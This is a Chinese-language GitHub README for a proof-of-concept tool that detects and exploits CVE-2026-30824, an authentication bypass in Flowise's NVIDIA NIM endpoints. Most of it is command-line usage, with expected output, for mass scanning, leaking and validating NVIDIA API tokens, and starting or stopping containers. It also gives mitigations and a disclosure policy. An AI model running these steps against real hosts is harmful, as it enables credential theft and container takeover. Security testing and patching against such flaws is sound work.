dylvie/CVE-2026-30824-Flowise-NVIDIA-NIM-Authentication
GitHub: dylvie/CVE-2026-30824-Flowise-NVIDIA-NIM-Authentication
针对 Flowise 中 NVIDIA NIM 集成端点认证绕过漏洞(CVE-2026-30824)的概念验证检测与利用工具。
Stars: 0 | Forks: 0
# CVE-2026-30824 — Flowise NVIDIA NIM 身份验证绕过检测与利用工具
这是针对 **CVE-2026-30824** 的概念验证检测与利用工具,该漏洞是 Flowise 中的一个严重身份验证绕过漏洞,可在未经验证的情况下暴露 NVIDIA NIM API 端点。
## 漏洞概述
**CVE-2026-30824** 是 Flowise (< 3.0.13) 中的一个严重身份验证绕过漏洞,允许未经身份验证的远程攻击者访问 NVIDIA NIM 容器管理和 API Token 生成端点。
| 字段 | 值 |
|-------|-------|
| **CVSS 评分** | 9.8 (严重) |
| **CWE** | CWE-306: 关键功能缺失身份验证 |
| **受影响版本** | Flowise < 3.0.13 |
| **影响** | 完全的容器管理、GPU 访问、Token 窃取 |
### 根本原因
`/api/v1/nvidia-nim/*` 路径在全局身份验证中间件中被列入白名单,允许未经身份验证的访问:
- Token 生成和泄露
- 容器管理(列出、启动、停止)
- 拉取 Docker 镜像
- NVIDIA API 集成
## 功能特性
✅ **漏洞检测** — 快速检查目标是否存在漏洞
✅ **Token 提取** — 从易受攻击的端点泄露 NVIDIA API Token
✅ **Token 验证** — 针对 NVIDIA API 验证 Token(验证影响范围)
✅ **容器枚举** — 列出正在运行的 NIM 容器
✅ **批量扫描** — 从文件中扫描多个目标
✅ **SSL 绕过** — 默认忽略自签名证书
✅ **彩色输出** — 易于阅读的状态指示器(绿色/黄色/红色)
✅ **侦察** — 完整的端点映射和诊断
## 安装
### 前置条件
- Python 3.7+
- `requests` 库
### 设置
```
# Clone 或下载脚本
git clone
cd cve-2026-30824
# 安装依赖
pip install -r requirements.txt
# 或
pip install requests
```
## 使用方法
### 基础漏洞检查
```
# 检查单个目标是否存在漏洞
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check
# 预期输出 (VULNERABLE):
# [+] 目标似乎存在漏洞 (VULNERABLE) (HTTP 200)
# 响应: {...}
```
### 扫描多个目标
```
# 创建 targets.txt,每行一个 URL
cat > targets.txt << EOF
http://192.168.1.100:3000
http://192.168.1.101:3000
http://192.168.1.102:3000
EOF
# 扫描所有目标(快速模式,无提示)
python3 CVE-2026-30824.py -f targets.txt --scan-only
# 预期摘要输出:
# ============================================================
# [*] 扫描摘要
# ============================================================
# [+] VULNERABLE: 2
# ✓ http://192.168.1.100:3000
# ✓ http://192.168.1.101:3000
# [-] PATCHED: 1
# ✗ http://192.168.1.102:3000
```
### 提取 NVIDIA API Token
```
# 从漏洞端点泄漏 NVIDIA API token
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token
# 预期输出:
# [*] 正在尝试泄漏 NVIDIA API token...
# [+] NVIDIA API Token: eyJ0eXAiOiJKV1QiLCJhbGc...
# [+] Token 类型: Bearer
# [+] 过期时间: 3600s
```
### 针对 NVIDIA API 验证 Token
```
# 验证泄漏的 token 对真实 NVIDIA API 是否有效
python3 CVE-2026-30824.py --validate-token "eyJ0eXAiOiJKV1QiLCJhbGc..."
# 预期输出:
# [*] 正在针对 NVIDIA API 验证 token...
# [+] Token 有效!可访问 45 个 NVIDIA NIM 模型。
# - mistralai/mistral-7b-instruct-v0.1
# - meta-llama/llama2-70b
# - (...)
```
### 列出运行中的容器
```
# 枚举目标上的容器
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --list-containers
# 预期输出:
# [*] 正在列出运行中的容器...
# [+] HTTP 200
# [
# {
# "id": "abc123xyz",
# "names": ["flowise_nim"],
# "image": "nvcr.io/nvidia/nim:latest",
# "state": "running"
# }
# ]
```
### 完整侦察(所有检查)
```
# 对漏洞目标运行所有侦察检查
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all
```
## 命令行选项
```
usage: CVE-2026-30824.py [-h] [-t TARGET] [-f TARGETS_FILE] [--check]
[--scan-only] [--get-token]
[--validate-token TOKEN] [--list-containers]
[--get-container CONTAINER_ID]
[--get-image IMAGE_ID] [--pull-image IMAGE_TAG]
[--start-container IMAGE_TAG]
[--container-name CONTAINER_NAME]
[--stop-container CONTAINER_ID] [--preload]
[--all] [--timeout TIMEOUT] [--debug]
Optional arguments:
-h, --help Show this help message and exit
-t, --target TARGET Target URL (e.g., http://192.168.1.100:3000)
-f, --targets-file FILE File with list of targets (one per line)
Vulnerability Detection:
--check Only check if target is vulnerable
--scan-only Scan targets for vulnerability without prompts
--debug Show request details and raw responses
Exploitation:
--get-token Leak NVIDIA API token
--validate-token TOKEN Validate leaked token against NVIDIA API
--list-containers List running NIM containers
--get-container CONTAINER_ID Get container details
--get-image IMAGE_ID Get image details
--pull-image IMAGE_TAG Pull a Docker image (e.g., nvcr.io/nvidia/nim:latest)
--start-container IMAGE_TAG Start a container from an image tag
--container-name NAME Name for the started container
--stop-container CONTAINER_ID Stop a running container
--preload Trigger resource preload endpoint
--all Run all reconnaissance checks
Advanced:
--timeout SECONDS Request timeout in seconds (default: 15)
```
## 工作流示例
### 场景 1:内网评估
```
# 1. 扫描整个子网以查找存在漏洞的实例
python3 CVE-2026-30824.py -f internal_ips.txt --scan-only
# 2. 对每个漏洞目标提取 token
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token
# 3. 验证 token 的影响范围
python3 CVE-2026-30824.py --validate-token ""
```
### 场景 2:影响证明
```
# 验证漏洞并展示完整的爆炸半径
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all
# 此操作将:
# 1. 检查漏洞
# 2. 提取 NVIDIA API token
# 3. 针对 NVIDIA API 验证 token
# 4. 列出运行中的容器
# 5. 显示资源枚举
```
### 场景 3:持续监控
```
# 定期监控目标(通过 cron 或 scheduler)
python3 CVE-2026-30824.py -f monitored_targets.txt --scan-only > scan_$(date +%s).log
```
## 输出指示器
### 颜色
- 🟢 **绿色** — 存在漏洞的目标或利用成功
- 🟡 **黄色** — 已修复/无漏洞或警告
- 🔴 **红色** — 错误或连接失败
### 状态码
| HTTP | 含义 |
|------|---------|
| 200 | ✅ 存在漏洞(端点可访问) |
| 400 | ✅ 存在漏洞(应用报错但端点存在) |
| 401 | 🟡 已修复(需要身份验证) |
| 404 | 🟡 非 Flowise 或端点不存在 |
| 5xx | 🔴 服务器错误/配置错误 |
## 故障排除
### “收到 HTML 响应而非 JSON”
**问题:** 端点返回了 HTML 页面而不是 JSON API 响应。
**解决方案:**
1. 验证 Flowise 版本是否确实易受攻击 (< 3.0.13)
2. 检查目标是否确实运行着 Flowise(而不是其他应用)
3. 验证该端点路径在此版本中是否未发生更改
4. 检查是否有反向代理或 WAF 在进行干扰
### “连接被拒绝” 或 “连接超时”
**问题:** 无法连接到目标。
**解决方案:**
```
# 测试连通性
curl -v http://192.168.1.100:3000/
# 增加超时时间
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check --timeout 30
```
### SSL 证书错误
**问题:** 目标使用了自签名或已过期的证书。
**解决方案:** 脚本默认禁用了 SSL 验证。如果问题仍然存在:
```
# 明确添加端口和协议
python3 CVE-2026-30824.py -t https://192.168.1.100:3000 --check
```
### Token 验证失败
**问题:** Token 已提取,但针对 NVIDIA API 的验证失败。
**原因:**
- Token 可能已经过期
- Token 可能无效(端点返回了伪造的 Token)
- 到 NVIDIA API 的网络连接被阻止
## 安全考虑
⚠️ **法律声明**
- 本工具仅用于授权的安全测试
- 未经授权访问计算机系统是违法行为
- 仅测试您拥有或获得明确授权测试的系统
- 作者对滥用行为不承担任何责任
### 负责任的披露
如果您在野外发现了此漏洞:
1. 记录发现结果
2. 联系组织的安全团队
3. 给予合理的修复时间(通常为 90 天)
4. 在修复之前不要公开披露
## 缓解措施
### 面向系统管理员
**立即执行:**
1. 将 Flowise 升级到 3.0.13 或更高版本
2. 实施网络访问控制(防火墙规则)
3. 如果不需要,禁用 NVIDIA NIM 集成
4. 监控 API 日志以排查可疑的 Token 使用情况
**长期规划:**
1. 使用 WAF 规则阻止 `/api/v1/nvidia-nim/*` 路径
2. 实施 API 速率限制
3. 启用安全监控和告警
4. 定期进行安全评估
### 面向开发者
- 审查代码库中所有的身份验证绕过问题
- 实施默认拒绝的访问策略
- 增加全面的 API 端点安全测试
- 在 CI/CD 中使用自动化安全扫描
## 参考资料
- [NVD 条目](https://nvd.nist.gov/)
- [Flowise GitHub](https://github.com/FlowiseAI/Flowise)
- [NVIDIA NIM 文档](https://docs.nvidia.com/nim/)
- [CWE-306: 缺失身份验证](https://cwe.mitre.org/data/definitions/306.html)
## 许可证
本工具仅用于教育和授权的安全测试目的。详见 LICENSE 文件。
## 免责声明
本利用工具按“原样”提供,不作任何担保。仅限在您拥有或获得明确书面授权测试的系统上使用。作者不对本工具的任何滥用或造成的损害负责。
## 作者
为授权的渗透测试和安全研究而创建。
**最后更新:** 2026 年 4 月
标签:API令牌窃取, API端点暴露, CISA项目, CVE-2026-30824, CWE-306, Docker, Flowise, GPU, Maven, NVIDIA NIM, PoC, Python, StruQ, 加密, 安全防御评估, 容器管理, 数据展示, 无后门, 无服务器架构, 暴力破解, 未授权访问, 漏洞扫描器, 漏洞验证, 红队, 网络安全, 身份验证绕过, 逆向工具, 隐私保护